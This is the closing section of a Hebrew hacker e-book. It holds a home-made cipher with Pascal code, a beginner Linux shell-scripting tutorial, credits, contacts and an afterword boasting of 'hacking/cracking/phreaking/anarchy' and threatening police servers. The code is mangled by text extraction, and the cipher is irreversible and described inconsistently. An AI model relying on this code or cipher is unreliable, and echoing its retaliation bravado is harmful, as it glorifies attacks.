‫נצטרך גם לשנות את ‪ :X‬כלומר‪ X ,‬יישתנה בהתאם לטווח מסויים‪ .‬עכשיו‪ ,‬כל פעם‬
‫לקחתי את המספר מהמספר ‪ 1‬עד למספר ‪ ,255‬וכל פעם לקחתי את ערך ‪ X‬המקסימלי‬
‫שיכול להיות כדי שלא תיווצר כפילות‪ .‬יצא לי דבר כזה‪:‬‬

‫‪X = 3 >-- 2 - 1‬‬


‫‪X = 6 >-- 5 - 3‬‬
‫‪X = 12 >-- 11 - 6‬‬
‫‪X = 24 >-- 23 - 12‬‬
‫‪X = 48 >-- 47 - 24‬‬
‫‪X = 96 >-- 95 - 48‬‬
‫‪X = 192 >-- 191 - 96‬‬
‫‪X = 384 >-- 255 - 192‬‬

‫הסברים‬

‫שימו לב לקשר בין כל ‪ :X‬כל פעם התדירות להשתמש בערך ‪ X‬יותר גדול יורדת כל‬
‫פעם פי שתיים‪ .‬שימו לב גם כל הטווח המקסימלי הוא תמיד ערך אחד פחות מהערך‬
‫של ‪ .X‬עכשיו‪ ,‬אנחנו צריכים לציין באיזה ערך ‪ X‬אנחנו השתמשנו‪ .‬אז חשבתי‬
‫על תו האסקיי של ערך ‪ ,X‬אבל ערך ‪ 384‬לא קיים בטבלת אסקיי (ערך הגדול‬
‫מהמספר ‪ 255‬חוזר על טבלת אסקיי מחדש)‪ ,‬אז חילקתי אותם לפי סדר כרונולוגי‬
‫של האותיות האנגליות‪ ,‬ולכן הטבלה תהיה ‪:‬‬

‫‪X = 3 --> Y = a >-- 2 - 1‬‬


‫‪X = 6 --> Y = b >-- 5 - 3‬‬
‫‪X = 12 --> Y = c >-- 11 - 6‬‬
‫‪X = 24 --> Y = d >-- 23 - 12‬‬
‫‪X = 48 --> Y = e >-- 47 - 24‬‬
‫‪X = 96 --> Y = f >-- 95 - 48‬‬
‫‪X = 192 --> Y = g >-- 191 - 96‬‬
‫‪X = 384 --> Y = h >-- 255 - 192‬‬

‫בקיצר‪ ,‬התרגום של ערך ‪ Y‬לערך ‪ X‬יהיה מאוד פשוט ויבוסס על תנאים‪ .‬עכשיו‬
‫אפשר להגיד שכבר יש לנו הרבה יותר שלבים שההצפנה מבצעת‪ :‬תרגום ערך האסקיי‬
‫של האות‪ ,‬קביעת ערך ‪ X‬על פי ערך האסקיי‪ ,‬קביעת ערך ‪ Y‬על פי ערך ‪ ,X‬הצפנה‬
‫של ערך האסקיי על פי אריתמטיקה מודולרית בערך ‪ ,X‬והצגה של הפרטים‪ .‬כדוגמא‬
‫לסיום אני מציג כאן קוד מקור בשפת פסקל שמקבלת אות ומציגה את הערך המוצפן‬
‫שלה בפלט‪ .‬התוכנית תמשיך עד שהמשתמש לחץ על מקש ‪ ...Escape‬הנה קוד המקור‬
‫של התוכנית‪ ,‬שמוצג גם עם הסברים (קונטרול ושיפט)‪:‬‬

‫‪)* USES Crt; (* We're using Crt.tpu‬‬


‫‪)* VAR VarX:char; (* One character variable‬‬
‫‪)* PROCEDURE Mask; (* Maskes the character‬‬
‫‪)* VAR (* Procedure variables‬‬
‫‪)* VarW:string [2]; (* One two length string variable‬‬

‫‪608‬‬
)* VarY:integer; (* One integer variable
)* VarZ:char; (* One character variable
)* BEGIN (* Begins the procedure
IF (Ord (VarX) = 1) OR (Ord (VarX) = 2) THEN VarZ := 'a'; (* Translation #1
)*
IF (Ord (VarX) >= 2) AND (Ord (VarX) < 6) THEN VarZ := 'b'; (* Translation
)* #2
IF (Ord (VarX) >= 6) AND (Ord (VarX) < 12) THEN VarZ := 'c'; (* Translation
)* #3
IF (Ord (VarX) >= 12) AND (Ord (VarX) < 24) THEN VarZ := 'd'; (*
)* Translation #4
IF (Ord (VarX) >= 24) AND (Ord (VarX) < 48) THEN VarZ := 'e'; (*
)* Translation #5
IF (Ord (VarX) >= 48) AND (Ord (VarX) < 96) THEN VarZ := 'f'; (*
)* Translation #6
IF (Ord (VarX) >= 96) AND (Ord (VarX) < 192) THEN VarZ := 'g'; (*
)* Translation #7
)* IF Ord (VarX) >= 192 THEN VarZ := 'h'; (* Translation #8
IF VarZ = 'a' THEN VarY := 3; (* The character is defined according to the
)* ascii code
IF VarZ = 'b' THEN VarY := 6; (* The character is defined according to the
)* ascii code
IF VarZ = 'c' THEN VarY := 12; (* The character is defined according to the
)* ascii code
IF VarZ = 'd' THEN VarY := 24; (* The character is defined according to the
)* ascii code
IF VarZ = 'e' THEN VarY := 48; (* The character is defined according to the
)* ascii code
IF VarZ = 'f' THEN VarY := 96; (* The character is defined according to the
)* ascii code
IF VarZ = 'g' THEN VarY := 192; (* The character is defined according to the
)* ascii code
IF VarZ = 'h' THEN VarY := 384; (* The character is defined according to the
)* ascii code
WriteLn (VarZ, Chr (VarY MOD Ord (VarX))); (* Writes the character plus
)* the masked character
)* END; (* Ends the program
)* BEGIN (* Begins the procedure
)* ClrScr; (* Clears the screen
)* REPEAT (* Repeats the loop's code
)* VarX := ReadKey; (* Defines the character as the pressed key
)* Mask; (* Maskes the character
)* UNTIL Ord (VarX) = 27; (* Until Escape key was pressed
)* END. (* Ends the program

‫מילים לסיום‬

‫אני מקווה שלמדתם עוד על אלגוריתמים ועל איך מתכנת בונה לעצמו שיטת הצפנה‬
‫ היא מכפילה את גודל הטקסט פי‬,‫ אפשר לפתח את השיטה שהצעתי כאן‬.‫אפקטיבית‬
,‫ שלכם‬.‫ כך שהיא חוסכת גם זיכרון‬,‫שתיים מהמקור‬

609
‫‪Crossbow‬‬

‫תיכנות ‪ Shell‬בלינוקס‬
‫טוב‪ ,‬האמת היא שזהו נושא רחב מאוד‪ ,‬אני לא אספיק להסביר אפילו רבע ממנו‬
‫בטקסט אחד‪ ,‬אבל שיהיה‪...‬‬

‫הכתבה מכילה‪:‬‬

‫מה זה שאלל?‬
‫בחירת המעטפת‪.exit, sh :‬‬
‫הכנסת פקודות ידועות בלינוקס‪.chmod, test :‬‬
‫שימוש בתנאים‪.if, else, fi, then :‬‬
‫שימוש בלולאות‪.‬‬

‫מה זה לעזאזל ‪?Shell‬‬

‫טוב‪ ,‬שאלל‪ ,‬זה מעטפת‪ .‬המעטפת מקשרת בעצם בין פקודות המשתמש לבין הגרעין‪.‬‬
‫לדוגמא‪ ,‬אתה מכניס את הפקודה ‪ .Dir‬המעטפת מזהה שזאת פקודה חוקית ומתרגמת‬
‫את הפקודה שהכנסת לתוך הגרעין‪ ,‬למידע שמובן לו‪ .‬הגרעין‪ ,‬הקרנל‪ ,‬מבצע את‬
‫הפעולה שקיבל‪ .‬הפעולה עוברת לפלט על המסך‪ .‬מכיוון שבלינוקס יש המון סוגי‬
‫מעטפות‪ ,‬עליך להגדיר באיזו מעטפת תשתמש‪ .‬טוב‪ ,‬תפתחו את העורך שלכם‪ .‬אם‬
‫אתם משתמשים במצב הטקסטואלי‪ ,‬הייתי ממליץ על פיקו ‪ .Pico‬עכשיו‪ ,‬הדבר‬
‫הראשון שנעשה הוא להגיד לתוכנית מעטפת באיזה מעטפת נשתמש‪ .‬פה אני יוצא‬
‫מנקודת הנחה שרובכם משתמשים בבאש ‪ .Bash‬טוב‪ ,‬השורה הראשונה בכל קובץ שאלל‬
‫הוא הצהרה באיזה מעטפת נשתמש‪ .‬אם אנחנו רוצים להשתמש בבאש‪ ,‬השורה הראשונה‬
‫שלנו תיראה ככה (קונטרול ושיפט)‪:‬‬

‫‪bin/sh/!#‬‬

‫הסבר‪ :‬סימן הסולמית ‪ #‬בשורה הראשונה מגדיר את המעטפת‪ ,‬אך כל שורה עם‬
‫סולמית בהתחלתה תהיה הערה‪ ,‬והמעטפת תתעלם ממנה‪ .‬בסוף הקוד מכניסים את‬
‫המילים ‪ .exit 0‬הפקודה ‪ exit‬היא בעצם יוצאת מהסקריפט בכל שלב שהיא מצוינת‬
‫אבל כותבים אותה גם בסוף‪ ,‬לציון סוף הסקריפט‪ .‬פה נראה קוד לדוגמא של הרצה‬
‫של הקובץ ‪ blabla‬לכל המשתמשים בלינוקס (קונטרול ושיפט)‪:‬‬

‫‪bin/sh/!#‬‬

‫‪610‬‬
‫‪chmod a+x blabla‬‬
‫‪exit 0‬‬

‫הסברים‪ :‬פה יש לנו שימוש בפקודת לינוקס ‪ ,chmod‬שפירושה הוא לשנות מצב‬
‫לקבוצה או משתמש‪ .‬האות הראשונה שבאה אחרי ‪ chmod‬מציינת יעד משתמשים‪ .‬האות‬
‫האנגלית ‪ ,u‬קיצור של ‪ ,user‬מציינת את המשתמש שהקובץ בבעלותו‪ .‬האות ‪ ,g‬שזה‬
‫קיצור של ‪ ,group‬מציינת את כל המשתמשים בקבוצה של בעל הקובץ‪ .‬האות ‪ ,o‬שזה‬
‫קיצור של ‪ ,other‬מציינת את כל המשתמשים האחרים‪ .‬האות ‪ ,a‬קיצור של ‪ ,All‬זה‬
‫בעצם מכוון לכל המשתמשים הרשומים במערכת ההפעלה‪ .‬ההרשאות‪ :‬יש הרשאת כתיבה‬
‫שזה ‪ ,w‬קיצור של ‪ ,write‬יש ‪ ,r‬קיצור של ‪ ,read‬עבור קריאה‪ ,‬ויש ‪ ,x‬נגזר‬
‫מהמילה ‪ ,execute‬שפירושה הרצה‪ .‬סימן פלוס ביניהן נותן הרשאות‪ ,‬והסימן‬
‫מינוס ביניהן שולל את ההרשאות‪.‬‬

‫טוב‪ ,‬עכשיו אנחנו ננסה להריץ את הקובץ‪ .‬שמרו את הקובץ‪ .‬אחרי זה תנווטו‬
‫לתיקייה שבה הקובץ ששמרתם נמצא‪ ,‬כתבו את השם שלו בשורת הפקודה‪ ,‬והמעטפת‬
‫כבר תריץ אותו‪.‬‬

‫שימוש בתנאים‬

‫טוב‪ ,‬שימוש בתנאים הוא לא קשה‪ .‬הרעיון הוא שאם תנאי מתקיים אז קורה משהו‪,‬‬
‫ויש גם את האפשרות להכניס קוד אם התנאי לא מתרחש‪ .‬עכשיו נשתמש בפקודת‬
‫לינוקס ששמה ‪ .test‬פקודה זו מזהה אם הקובץ הוא קובץ רגיל‪ ,‬ספרייה‪ ,‬סוקט‪,‬‬
‫קובץ בר הרצה‪ ,‬או קובץ ריק‪ .‬הפקודה אפילו יכולה להשוות קובץ אחד לאחר‪.‬‬
‫כדי לשלול תנאי‪ ,‬מקיפים אותו בסוגריים ולפניהם סימן קריאה‪ ,‬בניגוד לשפות‬
‫תיכנות אחרות‪ ,‬שבהן פשוט משתמשים במילה ‪ ,Not‬שפירושה לא‪ .‬הנה דוגמא לתנאי‬
‫רגיל‪ ,‬שלא שללו אותו (קונטרול ושיפט)‪:‬‬

‫‪bin/sh/!#‬‬
‫‪if test -r $1‬‬
‫‪then‬‬
‫‪echo file $1 exists‬‬
‫‪fi‬‬

‫הסבר‪ :‬הפקודה ‪ if‬היא הצהרה על תנאי‪ test -r .‬זה הצהרה אם הקובץ שאחרי הוא‬
‫קיים וניתן לקריאה‪ $1 .‬הוא ארגומנט‪ ,‬כלומר משתנה שנכנס בשורת הפקודה‪ .‬יש‬
‫לנו אחרי זה את המילה ‪ ,then‬שהיא הצהרה על התחלת הקוד במקרה שהתנאי נכון‪.‬‬
‫הפקודה ‪ echo‬כותבת מה שאחריה‪ .‬המילה ‪ fi‬היא סוף קוד התנאי‪ .‬עכשיו ניתן‬
‫דוגמא למצב שבו יש הודעה רק אם הקובץ לא קיים (קונטרול ושיפט)‪:‬‬

‫‪bin/sh/!#‬‬
‫‪)if !(test -r $1‬‬
‫‪then‬‬
‫‪echo file $1 does not exists‬‬
‫‪fi‬‬

‫הסבר‪ :‬פה אנחנו פשוט שללנו את התנאי‪ ,‬כלומר‪ ,‬אם התנאי לא מתקיים אז‪...‬‬
‫עכשיו ננסה לשלב את שני הקודים למעלה (קונטרול ושיפט)‪:‬‬

‫‪bin/sh/!#‬‬
‫‪if test -r $1‬‬

‫‪611‬‬
‫‪then‬‬
‫‪echo file $1 exists‬‬
‫‪else‬‬
‫‪echo file $1 does not exists‬‬
‫‪exit 1‬‬
‫‪fi‬‬
‫‪exit 0‬‬

‫הסבר‪ :‬המילה ‪ else‬היא בעצם מה קורה אם המציאות הפוכה ממה שכתוב בתנאי‬
‫למעלה‪ ,‬כלומר‪ ,‬אם הארגומנט לא קיים‪ ,‬אז תכתוב שהקובץ לא קיים‪ ,‬ותצא מהקוד‬
‫במצב ‪ .1‬מבחינת הקוד‪ ,‬כאשר הקוד מסתיים באפס‪ ,‬פירושו אין שגיאות‪ .‬מספר‬
‫אחר מאפס פירושו שנתגלתה שגיאה‪ .‬במקרה שלנו‪ ,‬שגיאה מספר אחד‪.‬‬

‫שימוש בלולאות‬

‫טוב‪ ,‬כמו בכל שפת תיכנות‪ ,‬יש יותר מסוג אחד של לולאה‪ .‬היום נלמד לולאת‬
‫תנאי ולולאת רשימה‪.‬‬

‫לולאת תנאי‪While :‬‬

‫הלולאה מורכבת כך‪ :‬קודם יש הצהרה על סוג הלולאה‪ ,‬אחרי זה יש תנאי‪ .‬כל עוד‬
‫התנאי מתקיים‪ ,‬הלולאה ממשיכה‪ .‬אחרי זה יש את המילה ‪ do‬לציון פתיחת הלולאה‬
‫אחרי זה יש את קוד הלולאה‪ ,‬ואחרי זה המילה ‪ done‬לציון סוף הלולאה‪ .‬הנה‬
‫דוגמא לשימוש בלולאת ‪( While‬קונטרול ושיפט)‪:‬‬

‫‪bin/sh/!#‬‬
‫‪Counter=1‬‬
‫‪] while [ $Counter -lt 5‬‬
‫‪do‬‬
‫‪echo $Counter‬‬
‫‪'Counter='expr $Counter + 1‬‬
‫‪done‬‬
‫‪exit 0‬‬

‫הסבר‪ :‬הגדרנו את ‪ Counter‬בתור אחד‪ .‬פה התוכנית תכתוב את ערך ‪ ,Counter‬וכל‬


‫פעם תוסיף ‪ ,1‬על ידי שימוש בתוכנית ‪.expr‬‬

‫לולאת רשימה‪For :‬‬

‫המבנה של לולאת פור בתוך תוכנית שאלל שונה מאוד מלולאת פור בשפות תיכנות‬
‫אחרות‪ .‬ברוב שפות התיכנות‪ ,‬לולאת פור מעלה כל פעם מספר‪ .‬בתיכנות שאלל‬
‫לעומת זאת‪ ,‬הלולאה מבוצעת פעם אחת לכל פריט ברשימה מסויימת‪ .‬לדוגמא‪ ,‬הנה‬
‫סקריפט שמראה את כל הארגומנטים שהוכנסו (קונטרול ושיפט)‪:‬‬

‫‪bin/sh/!#‬‬
‫‪for Argument‬‬
‫‪do‬‬
‫‪echo $Argument‬‬
‫‪done‬‬

‫‪612‬‬
‫‪exit 0‬‬

‫אז יאללה‪ ,‬אני זז‬

‫טוב‪ ,‬יאללה‪ ,‬מקווה שהבנתם משהו ממה שכתבתי‪ .‬אני חוזר עוד פעם ואומר שאי‬
‫אפשר ללמוד שפת תיכנות‪ ,‬אפילו קלה כמו תיכנות שאלל‪ ,‬ביום אחד‪ .‬כל הרעיון‬
‫של תיכנות שאלל‪ ,‬בנוי ברובו על פקודות לינוקס רגילות‪ .‬אפשר אפילו להגיד‬
‫שתיכנות שאלל דומה לקבצי אצווה‪ :‬אף אחד מהם לא דורש קימפול‪ ,‬הם שניהם‬
‫מבוססים על פקודות במערכת ההפעלה‪ ,‬קבצי אצווה על אם אס דוס‪ ,‬וקבצי שאלל‬
‫על פקודות בלינוקס‪ .‬טוב‪ ,‬אז אם יש לכם משהו להגיד‪ ,‬תתפסו אותי באי מייל‬
‫או באייסיקיו‪ .‬הכתבה הזאת שייכת כמובן להאק דה פלנט‪ ,‬ואין לאף אחד רשות‬
‫להפיץ אותה‪ ...‬אז תהנו‪ ,‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫תודות‬

‫זהו אין יותר עבודה עד ‪ 2:30‬בלילה – עכשיו נשאר רק לכתוב תודות ()‪:‬‬

‫טוב קדימה‪ ,‬נתחיל זה ארוך ‪....‬‬

‫קודם כל אני חייב להודות למי שלימד אותי מחשבים והאקינג ובגללו אני יכול ללמד אותכם ‪:‬‬

‫תודה לך ‪ , Jacob‬תודה לך ‪ , SBH‬תודה לך אלוהים ‪.‬‬

‫תודה לצוות אתר גיהנום ‪ ,‬אחלה אתר – תמיד תוכלו ללמוד משם דברים חדשים – כתובתו היא ‪:‬‬
‫‪http://www.gehenom.co.il‬‬

‫תודה ענקית למי שבלעדיהם לא היה לכם את הספר ‪:‬‬

‫‪GeHeNoM, Blood Runner, Rul3r, Pirs[i]ng, E-Man , AiTi , Dr.Brain , Jacob, Asc,‬‬
‫‪Batman911, Sbh, CaTax, Bentz, y0g1 b3ar, IceFire3k, Rel8t, Milki, AKA, VB-Man,‬‬
‫‪Cool-Guy, Zeos, BoR|S, waMaw, PancherMaher, Boba Smith, ^Dak0Da^, ZeBra,‬‬
‫‪. Vortex, The-Mod, NDR311, Counter and to all the hackers in the world‬‬

‫ועכשיו נעבור לתודות בעברית ‪:‬‬

‫פנצ'ו‪ ,‬ניב ואשד ( התותחים הכי כבדים )‪,‬יוליה‪ ,‬אלה‪ ,‬גלה‪ ,‬גלית‪ ,‬אלי ‪ ,‬בן‪-‬לאדן ( השובב)‬
‫ותודה ענקית אחרונה למפכ"ל המשטרה (‪. :‬‬

‫לעורך(אני ‪ )HFM‬לשטן ‪ HaSaTaN‬ל ‪ Crossbow‬ל ‪ GOOLGOLET‬ול ‪program44‬‬


‫האתרים שלנו הם ‪ www. GOLGOLET.UP.CO.IL‬או ‪GOLGOLET.UP.CO.IL‬‬
‫‪ HTTP:// www. HaSaTaN.up.co.il‬או ‪/http://hasatan.up.co.il‬‬
‫שלי ‪HFM www.hackerim.kef.li‬‬
‫של ‪Crossbow www.hacker-site.co.il‬‬
‫של ‪program44 www.program44.up.co.il‬‬

‫‪613‬‬
‫צרו קשר‬

‫שלום ‪.‬‬
‫הכל טוב ?‬

‫נגמרו הכתבות ‪ ,‬עכשיו נעבור לשלושת העמודים המסיימים את הספר ‪...‬‬

‫איך ליצור קשר ‪:‬‬

‫אוקי ‪ ...‬אני לא אענה על שאלות כמו ‪:‬‬


‫‪.1‬תפרוץ לי בבקשה ‪.‬‬
‫‪.2‬שכחתי את הסיסמא של האי מאייל אנא תעזור לי‬
‫‪.3‬אני חייב שתפרוץ לי לאנשהו‬
‫‪.4‬אני ישלם לך בעד שתפרוץ‬
‫‪.5‬ועוד שטויות מהסוג הזה‬

‫אני לא מבטיח לענות לכל אחד אבל מבטיח לנסות אז ככה ‪...‬‬

‫האתר עם הקבצים הוא –‬


‫‪http://freehost18.websamba.com/razor‬‬
‫בקרוב גם ב‪-‬‬
‫‪www.topcities.com/hackerim/herut.zip‬‬

‫אני הולך לפרסם את האי סי קיו שלי ואני יודע שהוא הולך להיות מוצף באנשים אז חבר'ס‬
‫בבקשה אל תעלבו אם אני לא עונה ‪ ...‬יש לי עכשיו קרוב ל ‪ 30‬אנשים און‪-‬ליין ‪...‬‬

‫‪My Icq‬‬ ‫‪REZOR‬‬ ‫‪– 124157810‬‬


‫‪HFM‬‬ ‫‪My icq – 176529430‬‬

‫‪614‬‬
‫לתגובות‪ ,‬להסביר כמה שאת\ה אוהבת אותי או כמה שאת\ה שונאת אותי – בקיצור כל מה שלא‬
‫קשור לשאלות שלחו לי ל ‪:‬‬

‫‪razor@inbox.net‬‬

‫לשאלות תשלחו איי מאייל ל ‪:‬‬

‫‪hacker@asm.net‬‬

‫ומי שרוצה להצטרף לכותבי הספר הבא ( כנראה שנה הבאה ) אנא שלחו כתבות גם ל ‪:‬‬

‫‪razor@inbox.net‬‬

‫אם תרצו ליצור קשר עם אחד ההאקרים\קראקרים האחרים בספר שלחו לי הודעה עם השאלה‬
‫ואני כבר יצור את הקשר בניכם ‪...‬‬

‫שלי (‪)HFM‬‬

‫‪HFM@2die4.com‬‬

‫‪By Razor & HFM‬‬

‫סוף דבר‬

‫זהו זה עומד להסתיים עוד כמה רגעים‪ ,‬החלום שלי יתגשם סוף סוף‬
‫והספר יופץ ברחבי הנט ‪.‬‬

‫הספר הזה נכתב בשביל שלכם\ן יהיה את הכוח לדעת‪ ,‬מי שקרא את הספר הוא לא האקר ‪-‬‬
‫בשביל להיות האקר את\ה צריך\ה ללמוד עוד הרבה דברים‪ ,‬בעיקר לשנות את דפוסי ההתנהגות‪,‬‬
‫פעם שאלו אותי איך זה להיות האקר וכך אמרתי ‪:‬‬

‫האם ראיתם את הסרט ‪ ? Hackers‬אם כן זה דיי דומה אבל החלק השונה הוא שלרוב הפריצות‬
‫הם הרבה יותר קשות אבל הקטעים עם החברים והטלפוניה מזכירים במקצת את התרבות שלנו –‬
‫אני ממליץ לכולם לראות את הסרט ולהבין ‪.‬‬

‫זה הספר הראשון בעברית על האקינג (גם לא ידוע לי שיש באנגלית)‬


‫ונראה לי שזה יהיה האחרון ( הגמדים השמנים הכחולים בטח ירדפו אחריי‪ )...‬אבל אני מבטיח‬
‫שאם לספר זה יהיה פופלריות גדולה אנחנו נכתוב ספר בשנה הבאה ‪.‬‬

‫אז אני לא טוב בפרידות אבל זה הולך ככה (‪:‬‬

‫החלום התגשם ו ‪ 200 -‬ע"מ של האקינג\קראקינג\פריקינג\אנרכייה מחולקים בחינם לכל אדם‬


‫ברחבי הנט ‪ -‬הכחולים יעשו בעיות ואולי יתפסו אחד מאיתנו‪ ,‬אני מזהיר שאם הם יטפלו באחד‬
‫ההאקרים בגלל הספר הסרבר שלהם יצטרך להזיע כמו שבן‪-‬לאדן עכשיו מזיע בתוך האהל שלו !‬

‫אני מבקש מכל ממך להפיץ את הספר לכמה שיותר אנשים וזה רק בגלל שהרעיון של הספר הוא‬
‫הפצת המידע בחינם לכל דורש ‪.‬‬

‫תודה לכם על זה שקראתם את הספר‪ ,‬מקווה שנהניתן\ם ‪.‬‬

‫‪615‬‬
‫‪By RAZOR‬‬
‫גם החלום שלי יתגשםהמשחתי את ‪ REZOR‬והוספתי עוד ‪ 400‬ומשהוא עמודים‬
‫אני "מזיל" דמעות מרוב אושר‬

‫אוהב אותכם‬

‫‪By HFM‬‬
‫‪EOF‬‬

‫‪616‬‬

You might also like